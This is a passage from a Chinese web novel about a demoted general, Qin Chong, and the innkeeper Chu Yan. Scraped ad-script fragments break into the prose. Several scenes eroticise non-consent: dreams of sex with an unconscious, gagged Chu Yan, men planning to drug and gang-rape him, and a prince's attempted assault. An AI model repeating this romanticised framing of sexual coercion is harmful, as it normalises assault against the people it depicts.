秦冲道:“你想啊,正经人家的姑娘谁愿意干这种行当啊!那些姑娘都是命苦的,迫不得已才干这个的,我拿了些钱给她们赎身,让她们回乡嫁个好人家。” 男人轻飘飘说着,却让人感觉身上有股子正气和无畏。 楚晏点头道:“秦将军心地善良,那些姑娘一定很感激你。” 秦冲朗笑起来:“感激什么的我不在乎,只求个心里舒坦!” 两人闲聊完,楚晏去忙活客栈开门的事情,秦冲则去衙门熟悉都督相关事宜,以便正式上任的时候不至于手忙脚乱。 几天下来,秦冲就明白过来,他这个都督的活儿,实际上跟知府要干的差不多,他没来之前,知府就干得挺好,他来了之后,知府就把沂水的军政交给他来管,衙门里的衙役,城门的城管,凡是涉及到武力的,都分给他大半的权力。 知府那边的意思是秦冲熟悉好了就可以上任,所以这几日,秦冲就带着几个衙役上街巡视,熟悉熟悉业务,顺便向百姓渗透一下他要上任的消息。 这几日秦冲和楚晏两个人每天一起跑步,渐渐熟络起来,秦冲没再做那些荒诞不经的梦,觉得这样也挺好。这日,秦冲照例巡完街,带着几个手下的弟兄,在一家酒楼吃酒,听到隔壁桌几个人在闲聊。 “哎,你们听说了没有,西街开了家南风馆,头牌长得那叫一个勾人,皮肤那叫一个嫩,跟水似的,在床上叫得你身酥腿软!” 此话一出,同桌的几个人露出雀跃之色,“真的吗?改天我也去看看,有没有你说的那么嫩!”几人互相看了看,不怀好意地笑起来。 有人嗤笑道:“南风馆的头牌?那种姿色你们也能入眼?你们是没见过东街的楚掌柜,那才是叫倾国倾城,绝色祸水,要是能跟楚掌柜春风一度,就算是死也值了!”这人说着,搓了搓手,露出一副向往的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 神情。 有人立即接话道:“楚掌柜,我见过的!那长相真是万里挑一的!光是站在那,就跟一幅画似的,要是能冲你笑一笑啊,心都酥了!” 其他几个人的兴致被勾起来:“真有这么好看吗?” 互相看了看对方如狼似虎的眼神,心照不宣。 有人听不下去了,拍了拍桌子,“你们想什么呢!人家楚掌柜是正经人!” 提起楚掌柜的那人道:“要的就是正经人,正经人才刺激!要是我,就把那楚掌柜迷晕了扛到床上去弄,直到他醒过来,看着你的眼睛慌张又无助,偏又不得不缠着你,啧啧,那滋味,销魂极了……” 几人听得蠢蠢欲动,仿佛人就在眼前,享受着那销魂滋味一般。 有人嘲笑他:“光是说说谁不敢,真要做你敢么你?” 那人被激起来:“怎么不敢?我当然敢了,今晚就去!” 听到这,有人坐不住了:“那我也去!你玩完了我玩,老子也尝一尝那绝色美人的滋味!” 其他人也嚷嚷起来:“别光你俩啊!我们也去!” 说着说着,一桌人哄笑起来:“行行行!哥几个一起!” 几个人聊得欢,哪知道隔墙有耳,说得话一字不落的落入隔壁包间人的耳朵里。 这包间静悄悄的,几个衙役打扮的人看向坐在主位的男人,小心翼翼地问:“都督,您怎么不吃了?” 坐在主位的男人有着一双锋利的鹰眼,他脸色沉黑如墨,撂了筷子,冷冷道:“一会儿吃完饭给我把隔壁桌那几个人带回去一个人打三十大板关到牢里!” 几个衙役有些为难:“都督,这……他们就是说着玩玩,还没干呢就打人板子不好吧?” 男人冷哼:“没干?等干了就晚了!怎么?你们敢违抗我的命令不成?” 男人久居高位,斜眼一瞥,就叫人心惊胆战,几个衙役被瞪得冷汗直冒:“不不不,我们现在就去!现在就去!”说着,拿起桌上的刀就冲了出去。 很快,隔壁包间传来惊惧的尖叫:“你们要干什么?为什么抓我们?我们可是良民!良民!” “这话你们留给我们都督老爷说去吧!” “什么都督?哪个都督?” “我!” 男人走进来,周身的气场威严而强大,带着久经沙场的狠戾,刚才还叫嚣的几个人顿时没了气势,“都给我带走!” 打完二十大板之后,几人已经挨不住了,一个个屁滚尿流地求饶,秦冲居高临下地看着他们:“知道你们错在哪里吗?” 几人摇头。 “你们错就错在,肖想了不该肖想的人!”秦冲冷笑着,“给我继续打!” 迷迷糊糊间,他看见楚晏在账台算账,而自己拿着一块布从背后捂了楚晏的嘴,扛到了自己的房间里…… 太他妈爽了! 身下的男人阖着眼眸,凉滑的肌肤贴着他,俊秀的眉时而蹙紧,淡粉色的唇微张,时而发出几声动听的声音。 他凑过去吻住那唇,昏迷的人没有意识,很容易就被撬开牙关,任由入侵者霸道地闯进来,侵占他口腔里的每一个角落。 亲了一次还嫌不够,又重新覆上那被蹂.躏得红肿不堪的唇,同时大手在凉滑细嫩的皮肤上游走,纵身自己于那层层叠叠的温柔之中。 许是受不住了,身下的人悠悠醒转过来,睁开一双水光潋滟的眼眸。 秦冲见此,抢先捂了他的嘴道:“你不要说话,我知道这又是一场梦,让我把这场梦做完吧!” 28. 第五章 秦冲说完,按住身下的身体,不管不顾了一阵,才小心翼翼地拿下捂住楚晏嘴的手。 楚晏拖着筋疲力尽的身体,抬手就是一巴掌打过去。 秦冲愧疚地低下头去:“对不起……” 很快又抬头看向楚晏,眼神异常坚定:“但是我不后悔。” 楚晏不愿看他的眼神,移开视线,轻轻道:“放开我。”经历了刚刚狂风暴雨一般的折腾,他的声音哑得厉害。 秦冲紧紧搂着他,固执道:“这是我的梦,我不放!” 恍惚间,听到楚晏一声叹息:“你为什么要这么做?” 秦冲看着那双美丽的眼眸,心里有一个强烈的声音在叫嚣:因为我喜欢你! 他狠了狠心,准备把心里的话说出来。 “因为我……”谁知还没说完,眼前画面一转,他从睡梦中醒来,面对着漫漫黑夜。 原来又是一场梦啊! 紧接着而来的是巨大的空虚与失落。 他已经很长时间不做这种梦了,经过这几日的跑步,他跟楚晏已经成了朋友,他知道在梦里亵渎他是不对的,所以一直告诉自己要像朋友一样看待楚晏。 他觉得这样下去就挺好,但是白天听到那帮人的话,他又开始忍不住了。 他清楚地记得,在梦里他要跟楚晏说:我喜欢你。 这种感觉是很强烈的,强烈到他现在就想冲到楚晏面前对他说出来。 他喜欢楚晏。 那楚晏对他是啥想法呢? 会不会……也有一点喜欢他? 不喜欢他,干啥每天跟他一起跑步呢? 想到这里,秦冲内心深处升起一丝雀跃感。 秦冲越想越兴奋,就没再睡,天一亮,他就往楚晏院子里跑,他迫切地想把自己的心意告诉楚晏,也迫切地想知道楚晏的心意。 谁知刚到院子门口,就被小伙计禾玉拦住了。秦冲不耐道:“你拦我干什么?我找你们掌柜的!” 小伙计抱着双臂,一板一眼道:“我们掌柜的说了,以后都不想见你了,你不要再来打扰他了!” 秦冲一懵:“为什么?” 禾玉摇头:“掌柜的没说,我也不知道,反正他以后不想见你,你别来了。” 秦冲急了:“你说不见就不见啊?让你们掌柜的自己跟我说,你让开!” 秦冲说着,上手扒拉他,禾玉哆哆嗦嗦的,誓死不让秦冲进去。 禾玉身材比秦冲瘦弱得多,眼看着就要不敌,这时,房门被打开,楚晏走出来,眼神是从未有过的冷漠:“秦都督,我的伙计已经跟你说得很清楚了,请你以后不要再来了,房钱我可以退给你,请秦都督另寻他处吧!” 秦冲看着那道白色的身影,心底被凉水浸透:“为什么?” “没有为什么,只是觉得你这个人不适合做朋友。”楚晏说完,就要转身关上房门。 秦冲不甘,一个箭步就要冲过去。 楚晏厉喝一声:“秦都督,你再往前一步我就要报官了!” 那眼神冷得让人心凉,秦冲心里有种破罐破摔的冲动,亦冷笑道:“楚掌柜不会不知道吧?我是这里的都督,衙门的兵大半都归我管,你报官,不是还要报到我这里吗?” 那双鹰一般的眼睛紧紧盯着他,流露出来的痞与恶像极了街头的混子流氓,楚晏厌恶得蹙起眉头:“秦都督是要以公徇私吗?” 秦冲抱臂勾了勾嘴唇:“也不是不可以。” 楚晏深吸一口气,直视他,“你想怎么样?” 秦冲道:“我就想知道,为什么昨天还好好的,今天就突然说不见我了,还要赶我走?” 他不明白自己哪里做错了,为什么一夜之间楚晏的态度就变了。 楚晏神色复杂地看着他:“我不想说,你不要问了,总之你我不是一路人,以后还是不要见面为好。”说完,他背过身去,“秦都督若还不走,楚某就真的要报官了,秦都督若是想以公徇私,那请便吧!只是这沂水城的百姓都会知道,他们英明神武的秦将军被贬到这里做了都督,并滥用职权欺负一个生意人。要怎么做,还请秦都督认真考虑。”说完,走进屋里关上了房门。 秦冲站在他门前,固执道:“你不告诉我,我就不走,你要报官就报吧!我就站在这里,我倒要看看,你报官能给我定什么罪!” 里面没有声音回答他。 一个站在门口,一个不出门,两人就这样僵持了一上午。 禾玉看出点门道,跟秦冲的小厮阿昭在院子门口嘀嘀咕咕:“你说,你家爷是不是喜欢我们掌柜的啊?” 阿昭点点头:“我也这么觉得。我从来没见过我家爷对谁这么上天,每天一大早就跑到你家掌柜院子里,没事的时候还总看着你家掌柜傻乐……” 禾玉听着听着就急了,打断他:“不行!你家爷……我家掌柜的……两个男人怎么能……”想不出怎么说好,一张清秀的小脸憋得通红,“我家掌柜的不喜欢你家爷!” 阿昭不服气:“瞅你家掌柜的那小身板吧!我家爷能看上你家掌柜的是你家掌柜的福气!” 禾玉叉腰瞪他:“我家掌柜的身板怎么了?那叫兰玉之姿,想当年公子临花一笑,不知迷倒多少小姑娘!哪像你家爷像头熊似的,往那一杵,吓都吓死了!” 阿昭皱了眉:“你怎么说话呢!我家爷哪像熊了?那叫英雄气概!多少小姑娘就想往我家爷身上扑呢!说喜欢我家爷这么强壮的,床上功夫一定好!就你家掌柜的那小身板儿,也不知道能不能受得住我家爷……” 禾玉听得红了脸,气得直推他:“你胡说什么?!去去去!这里不欢迎你!” “哎哎哎!别推我!我只是说个实话而已!” 院子门口的热闹跟院子里的静谧僵持形成了鲜明的对比。 中午的时候,禾玉和阿昭拎着饭盒给两人送了饭,两人吃完,继续僵持着。 送回饭盒的路上,禾玉戳了戳阿昭:“哎,你说,他俩这样能坚持多久啊?” 阿昭摇摇头:“我也不知道。” 禾玉叹了口气:“刚才进去送饭的时候,掌柜的叫我帮他浇花喂鸟喂鱼,看来这几天都不打算出门了。” 阿昭也叹了口气:“我说你家掌柜跟我家爷较什么劲儿啊?从了我家爷得了!” 禾玉气得瞪了他一眼:“你说什么呢?!不跟你这种满口污言秽语的人一起走了!”说完,一个人拎着饭盒噔噔噔走到前面去了。 楚晏睡得迷迷糊糊的时候,感觉浑身黏腻得很,他睁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开眼,看见一个男人宽阔的胸膛,二人赤裸相对,肌肤相贴。 两人的情态明显是黏在一起的,男人亲了亲他汗湿的鬓角,满足地叹了一口气:“也只有在梦里,你才能这么乖。” 他听出男人的声音,羞耻心让他立刻挣扎起来:“放开我!” 男人的注意力被他吸引过来,饶有兴致地抬起他的下巴,凝视他那双因情q欲变得水润的美丽眼眸:“怎么?宝贝有力气了?又想来了?” 他狠狠啐他一口:“你滚!” 男人不在乎地抹了把脸,“这可不行,我滚了,谁喂你呢!” 那双猎鹰一般的眼睛里又炙热又恶劣,要将他迫不及待地吞吃入腹。 他来不及骂,男人将他往怀里搂了搂,又开始了。 他意识不清,犹如一片残叶,被无情的风雨拍打着。 “宝贝,叫哥哥。” 男人还在恶劣地逗弄着他,他咬紧牙关不肯叫,男人愈发恶劣。 这种感觉屈辱极了,他抓住男人的手臂狠狠咬了一口。 那一口咬得不轻,像是要连皮带肉一起咬掉。 男人并没有生气,反而咬着他的耳朵低笑着逗他:“宝贝属狗的吗?还学会咬人了……” “不过我就喜欢。” “牡丹花下死,做鬼也风流。” 风流你个鬼!好教养的他也忍不住想破口大骂,可还没待他骂出来,眼前一切忽然消失,睁眼,他躺在自己的床上,外面的天刚蒙蒙亮。 他披着衣服走出去,看见秦冲在他的藤椅上睡得正香,嘴里还呢喃着:“宝贝……” 听到那个称呼的一瞬间,回想起刚才梦里的屈辱,气得直接一把推倒藤椅。 秦冲整个人摔到了地上,给摔醒了,摸着后脑勺站起来大叫:“谁呀?谁推老子?” 看见面前站着的人,一瞬间惊喜:“你肯出来见我了?” “你……”楚晏看着秦冲,脸色一阵红一阵白,想要呵斥却难以启齿,最后从牙缝里挤出一句:“你怎么还不走?” 秦冲固执道:“我说了,你不给我解释清楚我是不会走的!” 楚晏咬牙切齿地看了他一会儿,忽然转身往走院门口走去。 秦冲纳闷:“你去哪?” 楚晏头也不回:“报官!” 秦冲追上去拦在他面前。 楚晏冷漠地看着他:“秦都督还想做什么?” 秦冲紧紧盯着楚晏,目光灼热得赤诚,“我可以走,但是就这样走我不甘心。”说着,突然伸手抱住了他。 虽然在梦里抱了无数次,但这种真实的触感更令他喜悦。 楚晏始料未及,竟忘了挣扎,感觉到男人灼热的呼吸喷洒在耳畔,“我不知道为什么你对我的态度忽然就变了,现在我要走了,有一句话想对你说——” 楚晏忽然知道他想要说什么,这时,听见禾玉在院门口喊:“掌柜的——” “掌柜——”声音戛然而止。 跑进来的禾玉和阿昭看见两个人抱在一起的情景,张大了嘴巴。 被自己的伙计看见这样的情景,楚晏立刻就要推开秦冲,秦冲死死搂紧他,一字一顿地说:“我喜欢你。” “楚晏,我喜欢你。” 29. 第六章 他扳着他的肩膀,热切地看着他,问:“你可曾喜欢我?” 那双猎鹰一般的眼睛是那么的明亮,热切的,期待着他的答案。 也许是那双眼睛里的光彩太亮,楚晏有一瞬间的迟疑,很快答道:“不曾。” 那双眼睛里的光亮渐渐灰暗,失去色彩,“好,我知道了。” 说完,放开他,转身走出去。 那背影明明是高大的,却显得那么的萧瑟,落寞。 看着秦冲和阿昭走了,禾玉小跑过来,“掌柜的……” 楚晏晃了晃神,问:“你方才找我什么事?” 禾玉道:“南陵王的小公子来了,点名要见掌柜的你。” 楚晏疑惑,他从未与南陵王的小公子有过交情,找他做什么? 禾玉道:“掌柜的,我听说这南陵王的小公子,因为南陵王的功勋早早就封了个王爷,南陵王这几年在漠北戍边,他没人管教,便仗着自己是皇亲贵胄,欺压百姓,喜好美人,只要看中了,不管男女,直接抢回去强占,掌柜的你要小心。” 楚晏心下明了,点了点头:“我知道了。” 因着都督府还在建设中,秦冲这几日都在衙门公干,如今被楚晏赶出来,他也只好回衙门待着了。 秦冲一进门,就有几个衙役走过来:“都督,您可来了!知府大人在堂上等你,因为昨天那几个人,知府大人很生气。”几个人脸上写着担忧。 “放心,我自有分寸。”秦冲点头,拍拍他们的肩膀,走了进去。 沂水知府坐在堂上,表情严肃,“秦将军,你为大越立下汗马功劳,本府一直很尊重你,但你昨日对无辜百姓滥用私刑,本府实在不能理解,本府希望你能给本府一个合理的解释,否则,本府只能按照律法处理了!” 秦冲往堂上一跪,“此事确是秦冲鲁莽,所以今日秦冲特来领罪,请大人按律法处置吧!” 知府一惊,秦将军的为人他是知道的,不会无缘无故滥用私刑,所以他等秦将军给他一个解释然后他再酌情处理,可没想到秦将军连解释也不解释,直接就让他处置…… 知府摸了摸胡子,“秦将军,你真的不打算解释一下吗?按大越律法,滥用私刑者应依施加的刑罚加倍处置,你打了他们五个人每人三十大板,那么你应该相应承受六十大板。秦将军,你要想好了,六十大板可不是一般人能承受得来的!” 六十大板?!一个板子就要二十斤,普通人能挨四十大板就已经是极限了,都督当过将军,身体就是再强壮,这六十大板下来…… 阿昭不明白情况在外面干着急,“爷您这是犯什么傻哟?!做什么要挨这六十大板哟!” “我们知府大人很好说话的,都督您倒是解释一下啊!您是因为楚……” 外面听着的几个衙役是知道内情的,冲上来想为秦冲说话,却被秦冲制止:“无需多言,这六十大板我受了!知府大人请吧!” 客栈大堂,坐着一位锦衣华服的公子,这公子看上去二十来岁,长得还算俊俏,一双狭长的眼睛显得有些刻薄,这公子身旁还立着四个彪形大汉,个个表情凶神恶煞,吓得其他吃饭的客人胆战心惊。 这公子翘着二郎腿,一手烦躁地扇着扇子,一手不耐烦地拍桌子:“你们掌柜的呢?怎么还不出来?一个小小掌柜,难道要本王爷亲自去请么?!” 这时,后堂的帘子被一只修长白皙的手撩开,紧接着走出来一位面容绝美的白衣公子,墨色长发被一根白色丝带束起,皮肤白得似上好的羊脂玉,温润得透光,五官线条优美柔和,最美的是那双澄澈明净的眼睛,像春风吹过碧绿的湖面,阳光洒下点点金色,引起一片碧波荡漾,流光溢彩。望进去的时候,像是看到了一个宁静而斑斓的世界。 见到这白衣公子,那本来还一脸不耐烦的锦衣公子瞬间两眼放光:“美人!美人!绝色美人啊!和那南风馆的头牌相比,简直一个天上一个地下,一个仙人一个俗物啊!” 白衣公子皱了皱眉,“公子可知用美人称呼一个男人是一种不礼貌的行为?” 锦衣公子收了折扇,笑眯眯走过去,用扇柄抬起那白衣公子的下巴,痴迷而沉醉道:“如此美人,如不用美人称呼,岂不暴殄天物?想必这位就是倾国倾城的楚掌柜吧?” 白衣公子眼神一冷,侧过身去,“举止轻浮,形容浪荡,南陵王就是这般管教儿子的,今日楚某算是领教了!” 锦衣公子脸色沉了下来:“美人好大的脾气,知道本王的身份,还敢如此态度对本王?” 楚晏冷笑:“小王爷在楚某的客栈中大呼小叫,还在言语羞辱楚某,难道还要楚某以上宾之遇待你么?” “羞辱你?我倒要让你看看,什么才是真正的羞辱!来人,给我把他绑回去!” 锦衣公子一声令下,周围四个大汉向楚晏走过来。 楚晏不慌不忙,向店里吃饭的众人道:“大家都看到了,今日小王爷若绑了我,待会儿公堂之上还请诸位做个见证!” 一个浓眉大眼、一脸正气的男子站起来呼吁:“楚掌柜是好人啊!我们断不能让这恶人绑了楚掌柜去!” 旁边人拉住他:“哥!你没听见吗?那可是王爷,我们拿什么跟他斗啊!老老实实坐着得了!” 锦衣公子冷厉地扫视四周:“谁敢多管闲事尽管上来,本王请他尝尝这挨板子吃牢饭的滋味!方才说了什么本王可以既往不咎,我现在数三个数,如果还不滚的话,就等着吃牢饭吧!” “一!” 刚数一个数,客人就跑了大半 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,锦衣公子满意地笑笑。 “二!” 两个数数完,客栈里的客人只剩方才那名为楚晏说话的男子和坐他旁边的弟弟。 那男子明显不甘,想要来帮楚晏,却被旁边的弟弟死死拉着:“哥赶紧走吧!娘还在家里等你呢,咱犯不着为了一个不熟的人拖累了自己!” 锦衣公子看向方才那男子,笑容中划过一丝狠戾:“三!” 同时下令:“来人!给我把这两个人也一起绑了!” 这时,楚晏开口阻止:“放了他们,我跟你走!” 锦衣公子饶有兴趣地打量着他,“既然是求本王,就要有个求人的样子。” 楚晏绷着一张脸:“小王爷要楚某如何?” 锦衣公子赤裸裸的目光从他白皙如玉的脸庞划下,一直到纤瘦的腰身,“在这里,把腰带解了。” (秦·吃醋·嘟嘟:举止轻浮、形容浪荡,不守妇道!) 楚晏顿了一下,面无表情地解下腰带,“可以了吗?” 没了腰带的束缚,领口微微敞开,脖颈系着一根极细的红绳,衬着脖颈雪白修长,锁骨精致如玉,表情依旧是冷傲的,让人迫不及待地想要打破,看到这冰美人双眼迷蒙,情q欲焚身的样子。 锦衣公子咽了咽口水:“可以了。”随即不耐烦地冲着那两名男子道:“你俩赶紧滚!” 那为楚晏说话的男子望着楚晏欲言又止,他每日来这里吃饭,不过就是为了见见他,现在眼看着他要被恶人欺辱,他却什么都做不了,还给他添乱…… 楚晏也认出这是店里的常客,向男子拱手揖礼道:“多谢公子方才出言,楚某十分感激,公子的心意楚某领了,只是这是楚某自己的事,还是楚某自己来解决吧。” 男子深深看了他一眼,拱手回礼:“楚掌柜,保重。”说完,转身带着弟弟往门口走去。 锦衣公子不无恶意地补了一句:“给本王把门关上!” 男子望着门内的那道白色身影,沉痛地关上了门。 男子走出门后就一个人径直往前走,他弟弟在后面追着他:“哥!哥你要去哪儿啊?” 男子头也不回:“去衙门!” 衙门门口一片吵闹声。 “我要见知府大人!” “知府大人在忙,你不能进去!” 男子冲进来,便看到这样一幕,大越人敬仰的秦将军趴在凳子上承受着身后的沉重的板子,嘴里咬着一块布,额角青筋暴起,沁满汗渍,时不时发出压抑沉闷的哼声。 衙役自知阻止不力,“知府大人,他……” “退下吧!”沂水知府吩咐了一句,看向男子,“你因何时闯公堂?” 男子忽然扑通一声跪下来:“大人,救救楚掌柜吧!” 30.第七章 再说那为楚晏说话的男子走了之后,客栈这边的情形。 “楚掌柜的桃花还很旺盛嘛!” 锦衣公子轻挑地打趣了一句,扇柄伸过来,似要挑开楚晏的衣衫,楚晏侧身一躲,将衣服拢好,不着痕迹地握紧了颈间的玉哨,“方才楚某答应了跟小王爷回去,小王爷又何必急在这一时。” 锦衣公子环顾了一下四周,客栈里除了他俩,唯余他带来的四个打手和角落里瑟瑟缩缩的小伙计和老大爷,忽地一笑:“本王改主意了,就在这里要你,有人观赏,更刺激。”说着,一步步逼近他。 楚晏步步后退,冷冷道:“小王爷如此任性妄为,就不怕皇帝治你的罪?” 锦衣公子像听到什么好笑的事情一般,大笑起来,“美人儿,你可真天真,当今皇上是我亲堂哥,怎么会治我的罪?” 楚晏冷笑:“皇亲贵胄又如何?王子犯法与庶民同罪!” 锦衣公子笑得自信:“美人儿你少吓唬我,皇上堂哥从来没治我的罪!” “那只是一时!你以为皇帝是傻子?你做的这些事他看不见听不到?御书房里弹劾你的折子已经堆积如山了!”楚晏的声音越来越大,锦衣公子被吓了一跳。 “他是皇帝,你做了这么多的恶事,你以为他会为了你一个人,置黎民百姓的疾苦于不顾?” 锦衣公子开始惊慌起来,“不会的!我父王为大越立下汗马功劳,堂哥就算看在我爹的面子上,也不会治我的罪!” 楚晏笑了一下,似乎在笑他的无知与幼稚:“秦冲秦将军也为大越立下汗马功劳,他现在如何?被贬到这里做了一个小小都督!” (秦嘟嘟:喂喂喂!媳妇儿你怎么拿我当反面例子?你是在嘲笑我么?) 锦衣公子不以为意:“秦冲不过是一个出身贫寒的穷小子,贬就贬了,本王可不一样!” (秦·愤怒·嘟嘟:你个臭小子,觊觎我媳妇儿还说我是穷小子,是不是找打啊你!) 楚晏挑了下眉:“好,那说说你父王南陵王,那么正直的一个人,他兢兢业业地在漠北戍边,回来听到自己儿子的恶行,怕不是会亲自来打断你的腿吧!” 锦衣公子急了,辩解道:“你你你……你少拿我父王吓唬我,我父王还在南部戍边,少说五年回不来呢!” 楚晏目光一冷:“五年?你父王还有几个五年?你吃的穿的用的,你身上哪一件衣服,不是你父王辛苦打拼下来的?没有你父王的,你能站在这里耀武扬威?你非但不感激,还认为这是理所当然?等你父王老得刀都拿不动的时候,你还要让他养着你?我为南陵王有你这样的儿子而感到羞耻!” 锦衣公子被他说得满脸通红,羞愧地低下了头。 楚晏暗自松了一口气,悄悄拿出脖子上的玉哨放在唇边,却被旁边眼尖的大汉伸手抢了过来递到锦衣公子面前,“公子,此人拿着哨子准备吹,被我劫了下来。” 手里的哨子玉质温润、碧绿莹透,形状十分别致,呈一个小小的飞龙形。 锦衣公子看着手里的哨子,脱口而出:“玉龙哨。” 楚晏错愕:“你怎么会知道?”按理说,他那时才十余岁,不应该认识这哨子。 锦衣公子掂了掂手里的哨子,得意道:“皇帝堂哥跟我说过,这玉龙哨天底下只有一个,那是当年……”说着,目光落到楚晏身上,像发现了什么宝藏一般,双眼发亮,“想不到你竟然在这里,还落到了本王的手上!”他大笑着靠近楚晏,眼神变得越来越幽暗,越来越炙热,“当年楚郎冠绝长安,是何等风姿?可惜那时候本王还小,随母妃在封地生活。本王一直遗憾,当年未能一堵你的风采,如今真是天助本王,让本王一偿夙愿!” 楚晏退后一步,感觉到背后是冰凉的墙面,镇定了神色道:“你既然知道了我的身份,就该知道我和你父王是故交,你今日若动我,你父王不会轻易放过你。” “你再提我父王也没有用,你那点套路我早就知道了,”锦衣公子大笑着用扇柄挑起他的下巴,“你方才可是想搬救兵?” 楚晏偏头不答。 “你不说本王也知道,你养的暗卫就在这附近,你只要一吹这哨子,他们就会立刻赶来救你,难怪你会这么轻易答应本王,原来是早有准备!”说着,他摊开掌中玉哨,狭长的眼睛不无促狭,“想要吗?” 明知他不会这么好心,楚晏下意识地伸手想要去拿。 锦衣公子一扬手,哨子飞出去落到不远处的地上,张开空空如也的手,恶意跟他炫耀:“它没了!” 那双美丽清澈的眼睛里充满了恨意,又夹杂着失望:“南陵王怎会有你这样的儿子?” “今日你便乖乖地做本王的人吧!下次见到我父王,你便跟着本王叫他父王!”说完,凑近他雪白的脖颈。 “滚!”楚晏低骂了一声,齿间用力咬下。 锦衣公子看出来,扳过他的嘴,“想咬舌自尽?没门!”看着他美丽又充满恨意的眼睛,笑容中带着得胜的恶意,“看你这紧张的样子,定是第一次吧?放心,本王会温柔一点的。记住了,本王叫萧玦,是你的第一个男人!”说罢,一把扯开他的衣襟。 小王爷萧玦(jue,二声) (秦·磨牙·嘟嘟:给老子滚!老子才是他第一个男人!) “给老子把人放开!” 这时,突然响起一个沉重有力的男声,紧接着“砰”的一声,客栈大门被人踹开,一个身材高大站在门口,腰佩一把宝刀,猎鹰一般锋利的双眼满是怒火。 萧玦不悦地转身,看向门口:“你是什么人?也敢管本王的闲事?” 男人道:“老子行不更名坐不改姓,塘关秦冲!” 萧玦轻蔑一笑:“哦~原来你就是那个被贬到这里的小都督啊!” “你说什么?”男人目光一冷,直接冲进来,四个大汉上去挡在他面前。 萧玦挑衅一笑:“秦都督是要跟本王作对吗?你可看清了你的身份,你如今是个小都督,本王乃是皇上亲封的亲王!” 秦冲挑眉:“我好歹是个正四品的都督,你这亲王,可并没有品级啊!” 萧玦怒斥:“本王是皇亲国戚!你这小都督怎配与本王相比!” “皇亲国戚?我呸!你这样的也算皇亲国戚?狗屁!”秦冲狠狠啐了一口,“反正老子也被贬了,啥都不怕!今日我就替那忘恩负义的皇帝臭小子教训教训你!”说罢,拔刀与四个大汉缠斗起来。 按理说秦冲在战场上打过蛮子,以一敌十都不在话下,可如今看他步伐有些不稳,面对四个打手竟有些吃力。 “一个小小的都督,也敢跟本王斗!”萧玦嗤笑一声,一把揽过楚晏,“美人儿,来,让本王好好疼疼你。”说着,嘴就往他脸上凑。 秦冲见到这边的情形,怒火上涌,大吼一声:“给老子放开!” 紧接着把挡在面前的四个大汉一并放倒,冲过来一脚踹倒萧玦,将楚晏揽到自己怀里,猎鹰一般锋利的眼睛里一片柔情与愧疚:“对不起,我来晚了。” 楚晏却注意到他身后不断有血滴下来,“你后背怎么了?” “没事,一点小伤。”秦冲笑着摆摆手,脚步一个踉跄勉强站稳。 楚晏蹙紧眉,转过去一看,看到他后背一片血红,浓稠的血黏在衣服上,“你……” 萧玦看出来秦冲状况不对,指挥着四个大汉向二人冲过来。 “快走!”秦冲把楚晏往旁边一推,正面迎上四个大汉,他强撑着才拿稳刀,却因失血过多头晕脚步不稳,被划了好几刀。 “美人儿,这个小都督根本保护不了你,我劝你还是乖乖到本王这里来吧!” 楚晏心里焦急万分,眼看着萧玦向他走过来,那边秦冲看到他这边的情形,想赶过来却被四 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个大汉拦住,楚晏慌乱后退间脚底踩到一个硬物,他低头一看,正是他的玉龙哨! 他急忙捡起来吹响,十八个暗卫应声而至,将楚晏护在身后,楚晏叫他们赶过去帮秦冲,有了十八个暗卫相助,四个大汉轻易被擒。 萧玦见大势已去,惊慌地跪下来向楚晏求饶:“我错了我错了,我再也不敢了!放了我吧!放了我吧!” 两个暗卫架着秦冲走过来,“不能放过这臭小子!咳咳咳……”说着说着,一激动牵动了伤口,脑袋一晕,倒了下去。 楚晏见此,忙吩咐暗卫:“快送秦都督去医馆!”又看了一眼跪在地上的萧玦:“把他交给知府大人处置吧!” 秦冲伤得有些重,需要在医馆卧床静养一些时日,楚晏自知愧疚,提出要亲自照顾。 大夫刚交代完离开,在衙门听到消息的阿昭就冲进来,看到躺在床上的秦冲,趴床头就开始哭:“爷您说您傻不傻?挨了板子还非要去救人,这下好了,把自己折腾到病床上去了吧!您说您要是有个三长两短,阿昭可怎么办哟!” 秦冲本来在闭目养神,被他吵得不耐烦:“你这臭小子胡说什么呢?!老子身体好着呢!你嚎什么嚎?!” 一旁站着的楚晏问:“秦都督为何会挨板子?” “还不是因为你!”阿昭一脸幽怨,“我家爷听到有人说了你几句坏话,就打了他们板子,因为滥用私刑要挨六十大板,打到五十八板的时候,有个人闯进衙门说你有难,我家爷板子都没挨完,不管不顾地就过来了!” 秦冲吼了一句:“阿昭!” 阿昭睁大眼睛不能理解:“爷您吼着我做什么?难道我说错了?” “出去!” “爷……” “出去!” “那爷你好好休息。” 见秦冲坚持,阿昭只好委委屈屈地出去了。 屋子里只剩下秦冲和楚晏两个人。 秦冲道:“你别小题大做,我秦冲什么大风大浪没见过,军营里受过比这重的伤多多了,这点小伤养养就好了。” 看着床上躺着的男人,楚晏心中纷杂万千,动了动嘴唇,“这么做值得吗?” 秦冲看着他,眼中温情流淌,笑笑:“值了。” 到了这个地步,楚晏不会不明白,摇头:“我不值得。”我无法回应你,同样的感情。 秦冲听出他话中的拒意,仍是笑:“我觉得值得。” 楚晏想不明白:“为什么?” 秦冲道:“我也不知道,只要看见你,我就高兴,想每天都能看见你。” 他想不出用什么词描述好,“你有没有那种看一眼,就是他了的感觉?” 楚晏想了想,迷茫地摇了摇头。 秦冲忽然认真地看着他,“我对你,就是这种感觉。” 那双猎鹰一般的眼睛,生得太锋利,战场上敌人见了这双眼睛就瑟瑟发抖,平素只要瞪一瞪眼,就能吓哭小孩子,可是却鲜少有人见到这双眼睛深情的样子,这样深情地看着你,仿佛心中有一汪叫做柔情的湖,湖水肆意流淌着,越来越大,越来越大,仿佛要将人卷入这叫柔情的漩涡中,跟他一起沉沦下去。 这种柔情之下,又燃着微微的光,雀跃地期待着。 片刻后,楚晏缓缓垂下眼睫,说了一句:“抱歉。” 秦冲笑了笑:“没关系,我可以等。” “若是……一辈子也等不到呢?” “如果真的是这样,那我也认了。” 